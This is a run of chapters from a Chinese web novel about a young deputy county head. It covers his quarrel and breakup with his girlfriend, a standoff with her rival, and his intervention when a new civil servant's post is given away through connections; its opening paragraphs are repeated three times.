他现在唯一后悔的错误决定,就是今天带许梦来容城。 因为这个决定,可能导致两头得罪! “你冷静地听我解释一下,好吗?” 李承心平气和地点燃一根香烟,说:“能做手术,要四十天左右,那段时间我还在汉江任职呢。 你想一想,我们在一起时间里,我有过任何异常吗?我去了哪里,见了哪些人,都会跟你报备。 我们如胶似漆,那么相爱,我怎么会背着你乱搞呢?对不对? 而且,你再想一想,如果这个女人跟我有关系,我怎么会在你来滨西找过我期间,过来带她做这种手术呢? 我可以有大把的时间,大把的借口,找机会来做,对不对? 事情不是你想象的那样,希望你能相信我。” 李承不能直接解释原因,但他可以通过这些已知的事实,进行作证。 让许梦自己去想。 至于能不能想得明白,李承也没办法再深说。 再说下去,就会牵扯到不该牵扯的人。 听到李承的解释,许梦陷入沉默。 十几分钟后,她说:“那你告诉我,这个女人是谁,跟谁有关系?” “一个朋友。”李承说。 “到现在,你还不愿意跟我讲实话,是吗?”许梦眼泪汪汪地道。 “你自己想一想吧,我不勉强你相信我,可我说的都是真话。”李承再次点燃一根香烟。 如果许梦不相信,李承也没有办法。 该说的,他已经说了。 甚至还说了一些,不应该说的话。 他现在唯一后悔的错误决定,就是今天带许梦来容城。 因为这个决定,可能导致两头得罪! “你冷静地听我解释一下,好吗?” 李承心平气和地点燃一根香烟,说:“能做手术,要四十天左右,那段时间我还在汉江任职呢。 你想一想,我们在一起时间里,我有过任何异常吗?我去了哪里,见了哪些人,都会跟你报备。 我们如胶似漆,那么相爱,我怎么会背着你乱搞呢?对不对? 而且,你再想一想,如果这个女人跟我有关系,我怎么会在你来滨西找过我期间,过来带她做这种手术呢? 我可以有大把的时间,大把的借口,找机会来做,对不对? 事情不是你想象的那样,希望你能相信我。” 李承不能直接解释原因,但他可以通过这些已知的事实,进行作证。 让许梦自己去想。 至于能不能想得明白,李承也没办法再深说。 再说下去,就会牵扯到不该牵扯的人。 听到李承的解释,许梦陷入沉默。 十几分钟后,她说:“那你告诉我,这个女人是谁,跟谁有关系?” “一个朋友。”李承说。 “到现在,你还不愿意跟我讲实话,是吗?”许梦眼泪汪汪地道。 “你自己想一想吧,我不勉强你相信我,可我说的都是真话。”李承再次点燃一根香烟。 如果许梦不相信,李承也没有办法。 该说的,他已经说了。 甚至还说了一些,不应该说的话。 他现在唯一后悔的错误决定,就是今天带许梦来容城。 因为这个决定,可能导致两头得罪! 第325章 没必要了 ‘咚咚咚...’ 两个人沉默许久,门外响起了敲门声。 李承站起身,走到门口,打开了房门。 看到来人,李承的眼神阴沉到了极点,这个人,竟是当初李承在省电视台门口,碰到的那个追求许梦的小胖子。 汉江市政法委书记高新海的儿子,高凯! 一股怒火在李承的心中翻滚。 “你来我这干什么!”李承冷声质问。 “许梦让我来接她,怎么了?” 高凯昂起下巴,一副很得意的样子。 嚣张的说完,他故意用肩膀撞开李承,朝许梦走去:“梦梦,我来接你了....” “这是我家,滚出去!” 他的话还未说完,李承伸手抓住他的衣领,将他推到了门口,厉声呵斥! 那双蕴藏怒火的眼睛,散发着杀人般的凶光。 他对许梦同样很失望! 两个人相爱这么久,许梦就算不信任他,也不该在这个时候找其他男人来接她。 “你让我滚就滚啊,你他妈的算哪根葱,还把自己当省长秘书呢?李承,我警告你,对我客气一点,别给脸不要脸! 否则,你一个小小的副县长,老子分分钟搞掉你!” 高凯伸手推搡了李承一把,狂妄地叫嚣着。 在他眼里,以李承现在的职位,连给他父亲提鞋的资格都没有。 推开李承,高凯朝客厅走去。 李承随手抄起门口酒架上的一瓶红酒,用力砸在墙面上。 ‘砰’ 一道玻璃瓶的炸裂声响起,半截玻璃底掉落在地上,酒液四溅,顺着墙壁流淌而下。 高凯刚迈出两步,就被这炸裂声吓到身体僵硬,停顿住脚步。 “三个数,给老子滚!” 李承手里拿着半截碎裂的红酒瓶,在那锋利的玻璃断口处,还在滴着酒液。 红色的酒,像鲜血一样,给此刻的气氛平添了几分沉重。 “三!” 四目相对,李承喊住了第一个数。 “你要干什么,今天你敢动我一根汗毛,你的仕途可就毁了!” 高凯抬手指着李承,威胁道。 但他吞咽唾液的紧张动作,已经出卖了他内心的恐惧。 只是碍于在美人的面子,他不想离开。 “二!” 李承没有理会高凯的威胁,继续查数,并向前迈了一步。 感受着李承那杀人般的目光,和接近的距离,高凯心跳加速。 他并非真的喜欢许梦,只是看重了许梦的容貌,以及征服电台女神能给他带来的荣耀感。 若是真为了许梦,被李承给捅伤了,他觉得划不来。 “行,我走!” 没有再多的犹豫,也没等李承数到一,他妥协了。 急匆匆地绕过李承,夺门而出后,他冲着屋内的许梦喊道:“梦梦,我在楼下等你。” 说完,他生怕李承追上来,直接关闭了房门。 ‘啪’ 李承紧握的手松开,酒瓶应声掉落在地上。 他迈步走到沙发前,复杂的目光盯着许梦:“是你叫他来的?” 李承明知答案,却也想听到许梦亲口说。 “是,怎么了?” 许梦抹了一把泪水。 她给高凯发消息,让对方来接她,只是在气头上的冲动之举。 刚刚李承和高凯对峙时,她后悔了自己的决定。 可内心的火气,让她不肯低头,她觉得是李承有错在先。 “没事,你走吧。” 李承深吸一口气,故作平静地说。 面对自己曾经深爱的人,在李承心里,只有无尽的失望。 相处的大半年里,他对许梦的关心无微不至,哪怕自己再忙再累,也会在每个夜晚去接她回家。 为了许梦,李承拒绝了很多诱惑,也给许梦提供了很多帮助,可最后,换来的却是..... “你都陪别的女人去打胎了,我这么多行李拿不了,让他来接我怎么了?” 许梦知道自己的举动不对,可人在气头上,很少有先服软认错的。 嘴硬和撇开责任,是人性丑陋的本能。 “谁都可以帮你提行李,他不行....” 李承还想在这件事上跟她吵一番,可心中那种无奈和无力感,让他的声音停顿住。 他不想吵了,也觉得没有必要。 或许,许梦不相信他。 可他也没办法容忍这件事:“算了,这是你的自由。” “李承你什么态度呀,我跟了你大半年,我把最好的纯洁都给了你,可你呢? 你为了陪她,甚至连追出医院哄哄我都不愿意,你要是不想处,你就直说! 我不是非你不可,想追我的人排着长队等着呢!” 面对李承近乎于冷漠的态度,许梦的火气涌了上来,诉说着自己的委屈和付出。 人在情绪上头时,总会说出一些令人伤心的话。 李承直视着许梦,没有讲话。 他有他的苦衷。 之前,他是不能解释,现在,他也不想解释了。 工作上的压力,已经让李承喘不过气,感情方面是他的精神依赖,如今却.... “我自认为对你问心无愧,你自己好好想一想吧,我回县里了。”李承说完,转身离开。 他不想争辩,也没有争辩的必要。 如果高凯不来,李承想尽办法,绞尽脑汁,也要将许梦哄好。 可高凯来了,性质就变了。 李承也有一肚子的委屈和怒火想发泄,是呀,许梦付出了自己的纯真,可李承也付出了他的真心呀。 如果没有李承,许梦还是那个寂寂无名的小主持人。 她当初能拿到《东江问政》和《晚间新闻》的节目吗? 她能被观众熟知吗? 许梦得到的一切,包括她的短视频账号粉丝基础,都离不开李承的支持! 但李承不想去讲这些。 讲出来,那就是破窗效应。 不讲,即便两个人分开,许梦偶尔想起李承时,还会念及他的好。 可讲出来了,就等于撕破了脸,当初的所有付出,也就在对方心里烟消云散。 就像一扇被打破的窗户,再也无法复原。 下了楼,高凯的那台宝马七系就停在单元门口。 李承目光朝车内望去,在对视的瞬间,高凯挪开了目光,把头低了下去。 李承也没有去找高凯的麻烦,拦了一辆出租车,朝火车站的方向赶去.... 第326章 同程 这个时间,已经没有了回滨西的高铁,只有一趟火车,晚上十点发车,第二天早晨六点半到。 因为李承是临近发车时间才买票,已经没有了卧铺,只能选择硬座。 距离发车还有一个小时,李承坐在长椅上,看着面前人来人往,眼前一阵恍惚,感觉世界都变得不真实。 伤心,难过,失望,各种情绪,和无数个美好的片段在他脑海中闪烁。 他努力地让自己不去想,可大脑总会不受控。 踏上回滨西的火车,李承坐在座位上,对面是一对恩爱的小情侣。 他们互相依偎着,两个人带着一副耳机,看着平板上的电视剧。 女生吃着零食,时不时会投喂给身边的男朋友。 朴实而又简单的爱情,却让李承格外羡慕。 “打扰一下,我的座位在里面。” 正当李承胡思乱想之际,一道轻柔的声音从李承身旁响起。 李承抬头看去,这是一个二十四五岁的女孩。 女孩长相清纯可爱,五官也很精致,在她青涩的脸上,挂着腼腆的微笑。 在她的脸上,看到了一抹熟悉的感觉。 她与许梦有几分的相似,长相有五分,主要的相似,在那种眉宇之间的神态。 “你好?” 女孩看着李承的愣神,再次开口。 “哦,好。” 李承缓过神,连忙站起身给对方让路。 “谢谢。” 女孩礼貌的道谢,坐在了李承旁边的位置。 上车后,她拨通了一个电话。 “妈妈,我上车了。”女孩温柔地说。 “车上人多吗?吵不吵?”女孩妈妈问。 女孩很有礼貌,把声音放得很小,但李承坐在她身边,还是可以听到他们的对话。 “还好。” “困了眯一会儿,明天第一天报道,打足精神,给领导留个好印象。”女孩妈妈叮嘱道。 “嗯。” “你到滨西后,怎么去单位呀?” “早上七点四十有一趟客车,九点就能到风林县,报道时间是九点半,来得及。”女孩说。 “别迟到了,不行就打车去,别怕花钱。”女孩妈妈说。 “知道了妈妈,你早点睡吧,我不跟你说了,打扰其他人休息。”女孩说完,挂断了电话。 李承拿起手机。 和许梦已经闹了分手,可心里还是一阵伤感,忍不住地翻开着手机,看看有没有来自许梦的消息。 这一夜,李承都没有睡,他也没有等来许梦的消息。 次日。 李承在滨西站下了车,那个女孩拖拽着行李,两个人一起走。 “你要去风林县?”李承开口问女孩。 “嗯,是呀。”女孩点头。 “有去滨西市的拼座车,你要不要坐?能方便一点。”李承说。 拼座车的确比客车便利,价格上,也就贵了十块钱。 但从滨西火车站,打车到客运站,也要八块钱的路费。 “啊...” 闻言,女孩沉吟起来。 她大学毕业后,刚刚步入社会,也怕遇到坏人。 “我也只是回风林,给你个建议。”李承猜到对方的担心,疲惫地挤出一个微笑。 “贵吗?”女孩试探地问。 “比客车贵十块钱,车接车送,方便一点。” 李承介绍后,又补充了一句:“我不是拉客,只是我觉得方便。” “谢谢,那您能帮我联系一下吗?”女孩想了想,也觉得这是一个不错的选择。 “嗯,没问题。” 李承拿起手机,给拼座车司机发了一个消息,告诉对方火车站两位。 十五分钟后,拼座车接上李承两人,在拼满成员后,赶往了风林县。 “你俩都到哪?” 汽车进入风林县后,司机问李承和女孩。 “去风林县政府。”女孩说。 “我跟她一样。” 当听到李承跟她去一个地方时,女孩心情紧张了一下,她怕遇到坏人。 八点,汽车抵达风林县政府,两个人一起下了车。 “李县长,您今天怎么来这么早?” 路过保安亭,保安笑呵呵地跟李承打招呼。 “没什么事儿,就早点过来。” 李承随便敷衍了一句,径直朝里走。 女孩没想到,这个跟她一趟列车,坐着硬座绿皮火车和拼座出租车的男人,竟然是风林县的县长! ...... 回到办公室。 李承九点要开工作例会,他订了一个八点五十的闹铃,靠在沙发上,准备眯一会儿。 折腾了一天一夜,他早已精疲力竭。 可心情的沉重,让他无论如何也不能入睡,脑子里胡思乱想一大堆,感觉没过一会儿,手机闹铃就响了起来。 ‘叮铃铃...’ 李承睁开眼睛,关闭闹铃,去了大会议室。 周一县长工作例会,主要内容,就是各个副县长通报一下上周分管的工作情况与本周的工作计划。 县长在统筹部署一下本周的全县工作重点。 “本周的工作计划,主要在招商方面,我准备.....” 轮到李承汇报工作时,李承将自己计划简单说了一下。 “嗯。” 陈红旗点了点头,冠冕堂皇地道:“李县长,产业园区是风林县的经济发展命脉,政府对你们抱有很大的希望,你肩膀上的担子很重。 省委省政府对风林县的期盼很高,县里已经为你铺好了前期的道路,给你的工作打下了基石,剩下的重任,你要担起来,别辜负了我和全县同志的努力!” 听着陈红旗的话,李承想骂他的心都有了。 要不是他给铺垫的‘路’,产业园区的进展,一定比现在更进一步,甚至是几步。 他才是产业园区发展的最大绊脚石,可他却把自己说成了,那种不为名利的排头兵。 “嗯,您放心,我一定尽我最大的努力。” 李承配合地说了句场面话,然后话锋一转:“还有一件事,我要跟你打声招呼。” “你说。” “我这个联络员的业务能力较差,并不适合继续担任这个工作,我准备撤掉她。” 李承说道。 刘婷带陈红胜进她办公室这件事,已经触碰了红线。 李承宁可不要联络员,也不允许这样的隐患,继续留在自己身边。 “那你有合适的人选吗?” 第327章 戚瑶 副县长是有权力挑选自己的联络员。 这是为了工作的便利。 陈红旗身为县长,在这种问题上,他也并不好继续强塞给李承。 而且,李承为什么要换掉刘婷,他自己心里很清楚。 所以,他也没有多问。 问了,李承把情况在大会上说出来,他的面子上也挂不住。 “这个,我等下跟办公室沟通吧。”李承说。 反正,无论如何,他不会再选用陈红旗的人。 “那也好。” 陈红旗点了点头,没有在这个事情上多发言。 他只有一次给李承安排联络员的机会,但刘婷过于不争气,李承也过于保守。 会议继续召开。 陈红旗开会喜欢长篇大论,说一些有的没的,来展现他县长的权威和领导的风范。 属于是官瘾大。 会议开了一个半小时,直到十点半才结束。 李承走出会议室,点燃了一根香烟。 县政府不像省政府的条条框框多。 在省政府,除了那几个领导之外,其余人是不敢随便在办公楼走廊里抽烟的,李承也不例外。 但在县政府,就随意多了。 别说李承是副县长,就是基层人员,在办公室,走廊抽烟的情况也很普遍。 出了县政府大楼。 李承步行赶往了县委,关于原林装饰落地签约的事情,他还要跟县委书记王革打个招呼。 王革的办公室和县委组织部办公室在同一个楼层。 李承走上楼梯,看到那个女孩正站在组织部门口,等待着。 “你是新考入风林县的公务员?”李承走到她身边,问。 “是的,李县长。” 刚才,女孩已经默默记下了李承的姓和职位,她微笑点头。 “分配到哪里工作了?”李承问。 “还不清楚,我报考的是县政府办公室,但刚才里面的领导说,政府办公室已经满编了,具体被安排到哪里,还不清楚,她让我先等一会儿。” 女孩有些迷茫地说。 公务员报考时,考的是县政府办公室。 但到组织部报道,情况却发生了变化。 “哦,这样呀。”李承点了点头。 正常流程下,报考的岗位通过,组织部进行一个流程,就应该直接安排上岗入职。 但不正常的情况,也很常见,尤其是在这种偏远的小县城。 县政府办公室属于‘好岗位’,接触权力核心,晋升空间大。 这种好岗位,盯着的人,自然也很多。 很多人的能力不行,考不上这个岗位,但只要他们在县里有关系,通过运作,顶替名额,交换岗位,是有运作空间的。 想来,这个女孩的岗位,就被一些关系户给顶替掉了,才会出现满编的情况。 “我陪你一起进去,你去问问情况。” 李承说着,推开了组织部办公室的门。 办公室里有五个人,却只有一个人在办公室,其余人都很悠闲。 有磕着瓜子,唠家常的。 还有低着头玩手机的,很是悠闲。 “李县长。” 几个人看到李承进门,打了一个招呼,不过也没太拿李承放在心上。 李承是县政府班子的人,管不到他们县委组织部的头上。 而且,他们的组织部长跟陈红旗是一个派系的。 自家老大都跟李承不对付,他们这些下属,也就更放纵了。 “你好,我想问一下,我的具体分配出来了吗?”女孩看着坐在靠近门口的中年妇女,小心翼翼地问。 “你叫什么名字来着?” 女人吐掉口中的瓜子皮,整理了一下桌子,目光下意识地看了李承一眼。 这个女孩跟李承一同进来,她也猜测起来,女孩跟李承是否有关系。 “我叫戚瑶。”女孩说。 “哦,你被分配到了联义乡的乡政府,等会吧,下午你们乡会安排人来接你。” 女人随意地说。 关于戚瑶的具体分配,她早就知晓了。 但她压根也没把戚瑶放在心上,就任由她在外面站着傻等。 “可我不是考的县政府办公室吗?怎么又要去乡里?”戚瑶低声询问。 她是一个受害者,可说起话来,却像一个做错事的孩子。 “不是跟你讲了吗?县政府已经满编了。”女人道。 县政府当然有编制,不过已经内定给了工商局局长的外甥,上级打过招呼。 “哦,好吧。” 戚瑶垂着头应了一声,也不敢反驳。 她将无助的目光看向了李承,期盼着李承能帮到她。 “属于她的编制,给谁了?”李承沉声问。 面对李承的质问,女人面露为难,她不敢说,只能反问李承:“李县长,你跟这个女孩认识?” “把你的录用文件给我。”李承冲戚瑶伸出了手,说。 “在她那里。”戚瑶说。 “把她文件给我看一眼。” 李承走到女人面前,用命令的口吻,说。 女人也没办法,尽管她心里并不在意这个副县长,可副县长毕竟是领导干部,她一个小小的科员,也不敢硬刚。 将文件找了出来,女人递给李承。 李承看了一眼,指着上面的工作岗位,问:“这里写得清清楚楚,她的岗位怎么就不翼而飞了?是省委编办出了问题吗?” 省委编办,当然不可能出现问题。 李承也知道问题出在哪里,他这么问,就是堵住对方的嘴,逼着对方说明情况。 “不是。”女人摇头。 就算给她吃了熊心豹子胆,也不敢把责任扯到省委编办的头上。 “那就是县里,有人打了招呼?”李承再次追问。 “额...这样,李县长,我再联系确定一下,可能是哪个环节的问题吧。” 女人说得含糊其辞,她也怕李承继续追问。 “嗯。” 李承点了点头,他并不想为难这些人。 他们也是听上级安排,李承的职务,也没权利去整顿这些问题。 但帮戚瑶讨回属于她的公道,不是问题。 “你去联系,我就在这里等你,尽快。”李承找了一把空椅子坐下来,催促道。 “好。” 女人应了一声,拿起她桌子上的手机,出了办公室。 她不敢当着李承的面,跟领导沟通这些违规操作的问题。 第328章 滚刀肉 五分钟后。 女人再次回到了办公室,她向李承解释:“李县长,刚才我确认了一下,是系统出现的问题,岗位空缺审批后,这边没有及时的同步过来。” 这个理由很假。 只是为了他们的内部操作,找了一个合适的台阶。 对此,双方都心照不宣,李承也不会去揭穿对方。 “嗯,同步过来就好,尽管给她办理,人家小姑娘等半天了。”李承叮嘱了一句。 “好。”女人心里不情愿,却也只好点头。 李承这位副县长,是敢在常委会议上硬刚‘一言堂’县长陈红旗的狠角色,组织部方面也不想跟他多纠缠。 “谢谢您,李县长。” 戚瑶得到了她的公道,很感激地对李承道谢。 没有跟李承的这次偶遇,她就要被下调到乡镇去。 她之前,对于操作失误,没有及时抢到卧铺票而觉得倒霉,现在,她很庆幸自己没有买到卧铺票。 人生就是如此,你以为的一个错误决定,说不定会在日后给你带来意想不到的惊喜。 要相信,一切都是最好的安排! “不客气。” 李承对她微微一笑,出了办公室。 来到县委书记王革的办公室,两个人交谈到了中午下班,一起在食堂吃过午饭,这才分别。 趁着午休时间,李承回了一趟宿舍,准备补个觉。 躺在床上,李承能明显感受到身体的疲惫力竭,他知道,自己的身体已经很困很困了,可情绪的悲伤和精神的焦虑,却让他久久无法入眠。 半睡半醒的状态,躺了不知道多久,李承被闹铃吵醒。 他揉了揉眼睛,看了一眼手机的消息,并没有他想要的答案。 拨通给朱师傅,李承让对方来接他回管委会。 回到管委会。 坐在办公室,李承拿起桌子上的座机,打给了县政府办公室主任赵兵。 “李县长。” 电话接通,赵兵慵懒的声音传了过来。 办公室主任是县政府的大管家,那是陈红旗的贴身红人,自然会对李承有本能立场上的敌对情绪。 “赵主任,你们办公室上午应该报到了一个叫戚瑶的公务员吧?”李承点燃一根香烟,淡淡地问。 “哦,好像是吧。”赵兵漫不经心地回答:“怎么了?” “我要让她当我的联络员,你安排一下。”李承说出自己的目的。 “您这通电话早打一点好了,这个人已经有明确分工了。”赵兵一副惋惜的语气,说。 副县长是领导,县政府办公室是服务于政府领导的机构。 明面上拒绝配合,赵兵不敢。 但他可以通过规则的手段,进行‘软不配合’。 戚瑶刚刚到岗,根本没有职务分工,但赵兵就是要卡李承。 他有陈红旗做靠山,压一压李承的锐气也是替陈红旗办事,赵兵有恃无恐。 他不怕得罪李承这位常委副县长。 “有分工,不是还没接手呢吗?让刘婷去顶替她。” 李承态度强硬,语气有些不耐烦:“这个人我要定了!你想办法!” 感情上的问题,已经让李承非常头疼,耗光了他的耐心。 一整夜没休息,他整个人的状态十分差,此刻的李承,就像一个火药桶,属于一点就炸的状态。 可偏偏这个时候,赵兵非要往他的枪口上撞。 “行,那我想想办法。” 赵兵听出李承的火气,敷衍地答应了一声。 他是下属,也不敢硬顶李承,为此挨顿批评,没有必要。 他想恶心李承,只需要表面奉承,背后拖延,用时间耗着李承,李承也拿他没有什么办法。 “我最多给你两天时间,周三,我要看到她到岗。” 李承清楚,对方是一个‘滚刀肉’,必须给他明确的时间,进行施压。 丢下这句话,李承直接挂断了电话。 李承为什么非要用戚瑶,答案很简单。 因为戚瑶够‘干净’。 她大学刚毕业,从外地到风林县入职,没有背景,没有跟任何人接触过,不会成为陈红旗的眼线。 李承已经被刘婷弄怕了,他需要的,就是这种‘干净’的履历。 从火车上的接触,到目前为止,戚瑶给他的感觉,也是那种单纯,听话的女孩。 虽然她没有工作经验,只要听话就行,其余的,都可以培养。 李承属于那种包容性很高的领导,他是秘书出身,对于联络员的业务能力并不看得太重,可学习就行。 年轻人,总要给一些进步的机会。 而且,李承帮过戚瑶,这一点足够拉近彼此的关系,日后可以将戚瑶培养成心腹。 至于说戚瑶的美貌,李承并不看重外表。 但这也有极小部分的原因在。 毕竟,联络员跟领导的工作接触最多,李承作为领导,当然也要选一个看着顺眼的人。 ‘咚咚咚...’ “进。” 李承刚挂断电话没一会儿,办公室的门就被敲响。 在李承的许可下,刘婷推门走了进来。 今天的她,并没有往日那种刻意‘风骚’的打扮,穿着平常,脸上画着淡妆,却已经被泪水哭花。 看着她梨花带雨的样子,李承眉头皱起:“你哭什么?” “领导,我知道错了,我认真反思过,给您当秘书这些天,是我做得不够好...对不起。 但我真的很珍惜这个岗位,请您给我一个改过自新的机会,我一定好好做,听您的话...呜呜....” 她哭得泣不成声,不停抹着脸上的泪水:“今天中午我妈妈包馄饨的时候还在问您,想让我再给您送一些过去,我都不敢说您不用我了...” 她的声音里带着真诚,她的话语,也唤醒了李承对她曾经的好印象。 可工作就是工作。 刘婷做的那些事,从个人角度可以被原谅,但从工作角度,她不能再胜任。 “刘婷,机会我给过你了不止一次,你真的不适合联络员这个岗位,县政府还有更符合你的岗位。” 李承深吸了一口烟,面对刘婷的哭泣,他没有半分动摇。 “领导,我....” “我已经物色好了新的合适人员,等她到岗后,你做一下工作对接就回去吧。” 第329章 家里的电话 下午两点。 李承将管委会招商分局的领导层叫到了一起,进行开会。 “今天召集大家开会,主要就一件事,关于原林装饰公司的签约落地问题。 经过商议,我们已经跟原林装饰达成政策共识,十年的免费土地,三年的地方税减免七成,一切,全部按照省政府颁发的政策,进行落实。 日后,你们招商局去促谈企业,也全部按照统一省政府标准执行,大家都听清楚了吗?” 李承目光环视众人,严肃的问。 他之所以要强调按照省政府定下的政策去谈判,是为了改变这些人心中的误区。 因为陈红旗的错误政策理念,已经灌输给了他们,这一点,李承要强调纠正。 “清楚了。”下面人答应。 “李主任,原林装饰是我们管委会的第一家省政策企业,合作签约的事情,你重点跟进一下。” 李承看向分管招商的李俊愧副主任,叮嘱道。 “好。”李俊愧推了推眼镜,点头答应。 “给我一个明确的时间,具体哪一天能够准备好所有手续。”李承问他。 “周三差不多。”李俊愧想了想,说。 “我再多给你一天时间,周四签约。”李承说。 产业落地的合同相对繁琐,投资合作协议中,要敲定投资规模,产值,税收,投资时限等... 土地租赁合同内,还要明确免租金政策,初步拟定免租时限后的续约情况。 除此之外,还要细化补充协议。 多一天,多一些准备的时间,要确认无误。 “好的李县长。”李俊愧点头。 “我再强调一点,管委会和县委县政府都是在省委省政府领导下的,我们要坚决贯彻落实省里的指示命令。 任何人的干预,任何人的招呼,都不能逾越这一底线。 我这个人不喜欢弯弯绕绕,我把丑话放在前面,如果你们遇到任何事情,都可以向我汇报沟通,我来协调解决。 但那些,都不能成为你们的借口。 既然管委会由我负责,你们这些人,就要全部配合我的工作安排,不要耍小聪明!” 李承语气严厉,一句一顿,他犀利的目光环视一圈,问:“都听明白了吗?” 其实,今天这些工作,李承给李俊愧单独叫去办公室就能部署。 他要开这个大会,也是告知所有人,管委会是他李承的辖区,他才是真正的政务一把手! 这是一种权威的强调! 也是为了日后工作能顺利开展,提前做出的铺垫。 “明白。” “清楚了。” 看着大家点头答应,李承将目光落在了身侧李俊愧的脸上,等待对方的答复。 “明白。” 得到李俊愧的回应,李承这才满意地点了点头:“散会!” 会议结束。 刘婷正在会议室门口,耐心地等待着李承。 她似乎有意表现,以前每次等待李承时,她都会刷视频,或者聊微信。 这一次,也收起了手机,站得笔直:“领导,朱师傅已经在楼下等您了。” “知道了。” 李承回应了一句,迈步朝楼下走去。 周一下午三点,是县委常委的例行会议,李承还要到县委去参加。 ‘我的爱如潮水,爱如潮水将我向你推...’ 路上,李承的电话响了起来,是母亲董丽打来的。 “喂,妈。” 李承捏着印堂穴,接通了电话。 三十多个小时没有入睡,李承的脑袋昏昏沉沉地疼。 “你个臭小子在哪了?” 董丽焦急的训斥声,在电话中响起。 李承是将手机贴在耳边,董丽的声调很高,吵得李承耳朵刺痛,下意识地将手机拿远了一点。 “我在去县委开会的路上,怎么了?”李承低沉着声音,问。 自从成年后,董丽再也没用过这种语气对李承讲话,李承知道,对方是为他和许梦的感情问题而来。 “你还有心情开会,下班赶紧给我滚回家一趟!”董丽用不容置疑的语气,说。 她知道,自己儿子身居要职,不能打扰儿子的工作,所以,她用的是下班。 而对李承的训斥,实际上也有演戏的成分在,因为许梦就在她的身旁。 她要做给许梦看。 董丽虽然是一个农村妇女,但她讲道理,明是非,知道这么做,才能调解两人的关系。 “妈,我很累,就不回去了。”李承说。 “许梦在家呢,她把事情都跟我说了,有什么事情回来解决清楚,别因为误会错过了一生,听见了吗?” 董丽严厉地说。 “听见了,我下班之后回去。”李承答应。 许梦主动去了封兰,找到自己的父母,也是为了缓和关系,这一点李承是清楚的。 可许梦让高凯去接她这件事,李承心里还是耿耿于怀。 一方面,他也不舍得放下这段恋情。 另一方面,他也很清楚,这件事的发生后,两个人的感情就不能再复原。 就算复合了,两个人心中对彼此都有了隔阂,未来大概率也不会有什么好结果。 李承知道,自己应该做一个拿得起,放得下的人。 可一段感情,怎么可能说放下就放下呢? 董丽发话了,李承再累也要回去一趟,而且,就算分开也要分得清清楚楚。 所以,最后李承还是答应了回去。 ‘叮’ 挂断电话没多久,李承收到了一条董丽发来的询问微信:【你跟妈说实话,你跟那个女人到底有没有关系?】 【没有。】 【那就行,早点回来吧,媳妇儿我先帮你哄着。】董丽说。 【知道了。】 常委会议,从下午三点,一直开到了四点半。 会议结束,李承一天的工作,也就结束了。 在这种县城,领导班子提前下班,是很普遍的情况。 谁也不可能去调查一位副县长的上下班考勤,但李承并没有懈怠和纵容自己。 他回到县政府,直接去到了办公室。 李承知道,‘滚刀肉’赵兵不会落实他的吩咐,他要亲自来看看情况。 来到办公室,李承看到坐在角落里的戚瑶,正在无聊地发着呆。 “戚瑶,你跟我出来一趟。” 第330章 合适人选 “戚瑶,你跟我出来一趟。”李承目光看向戚瑶,说。 听到他的声音,那些摸鱼等待下班的人,纷纷抬起头,将目光望向了李承。 一个个脸上表情都很诧异。 “好。” 戚瑶见到是李承来了,她脸上不自觉流露出笑容,连忙起身朝李承走去。 李承出了办公室,站在走廊,点燃了一支香烟。 他的困意和疲惫,完全在靠香烟撑着。 在戚瑶走出办公室后,办公室内的工作人员开始交头接耳,议论起新来的戚瑶跟李承是什么关系。 “李县长,您找我。” 戚瑶站在李承面前,双手放在身前,指尖轻轻扣着另一只手的指甲,整个人很局促。 “办公室给你安排什么工作了?”李承问。 “还没有给我安排具体工作。”戚瑶低声回答道。 “嗯,你是什么大学毕业的?”李承问。 “我是华中师范的,汉语文学类专业。”戚瑶自我介绍。 “愿不愿意做我的秘书?” 毕业于名校,专业又是汉语文学类,典型一个当文秘,笔杆子的好材料。 她的各项条件,都很符合李承的标准。 “我可以吗?可是我还没有工作经验...” 戚瑶对于这个岗位是激动的,刚入职就能给副县长当联络员,在一个县城工作体系里,这已经算得上最好的岗位了。 兴奋之余,戚瑶也很担心。 她担心自己没经验,做不好,对不起李承对她的信任。 “当然可以,所有人都是从零开始,只要你肯努力,肯学习,就可以胜任,你要对自己有信心。” 李承鼓励她道。 “我愿意。” 得到李承的鼓舞,戚瑶连连点头。 这对她来说,是喜从天降。 “赵主任在办公室了吗?”李承问。 “在,刚回来。”戚瑶回答。 “好。” 李承再次走进办公室,那些交头接耳的议论声,戛然而止。 一个个开始假装忙起工作。 李承知道,这些人刚刚在议论他,他也不会计较,径直走向里面的主任室。 “赵主任,忙着呢?” 李承推门而进,他看着躺在沙发上,刷着短视频的赵兵,打趣一声。 “李县长,您怎么来了?坐。” 赵兵坐起身,假客气地让李承入座。 “我正好这会儿在县政府,就想着来找你见面聊聊联络员的问题。” 李承坐在赵兵的对面,说:“我看这个小戚也不忙,明天就让她去管委会报到吧。” “戚瑶刚大学毕业,还没有经验,我认为不能胜任您的联络员,让她在办公室先沉淀沉淀。 我给您物色好了其他联络员,我们办公室的王平同志,有过联络员的经验,很适合您。” 赵兵笑呵呵地说。 李承越是想用谁,他还就偏偏不想让李承如愿。 “刘婷也是你们精心挑选的,工作做得一塌糊涂,这回,就不麻烦你们办公室费心了,我觉得这个小戚很不错。”李承认真的道。 “她已经有了合适岗位,作为华中师范的优秀毕业生,我们政府办公室也要将她重点培养。 您电话打晚了一步,总不能夺人所爱吧?呵呵呵...”赵兵随便找了一个理由,搪塞道。 “你是我领导,还是我是你领导?”李承眼神一冷,问。 “当然您是领导。”赵兵说。 “既然我是你领导,县政府办公室又是服务于县领导的机构,我就给你安排这么点要求,你都办不了吗?” 李承声音渐冷,语气也拔高了一个声调,带着呵责的味道。 “李县长,您消消气。” 赵兵脸上依旧挂着笑容,他说:“我尽量给您办,好不好?” “不是尽量,是必须,周三,我必须要看到她到岗!”李承严厉地命令道。 “嗯...知道了。” 赵兵敷衍一句,在他的眼神中,透露着一抹鄙夷。 都说,伸手不打笑脸人。 可李承看着面前满脸笑容的赵兵,却莫名的火起,他总觉得,这个‘滚刀肉’不会落实。 “你最好是落实下来。” 丢下这句话,李承转身出了办公室。 算上下午的电话,李承为了这个联络员,已经找了赵兵两次。 再一再二,没有再三。 若是周三见不到戚瑶,李承这个新官上任的第二把火,就要烧在他的头上! ..... 晚上七点,李承踏上了回封兰市的高铁。 路上,李承拿起手机,拨通了滨西市,市委书记周安的电话。 ‘嘟..嘟..嘟...’ 电话很快接通,周安说:“喂,李承同志。” “周书记,这个时间给您打电话,没打扰到您吧?”李承笑呵呵的问。 这是私人电话,李承要放在工作之外的时间去拨通。 “不打扰,你说。”周安道。 “我来滨西开展工作,是您一直在背后支持着我,我想请您吃个饭,您看哪天方便?” 李承邀请道。 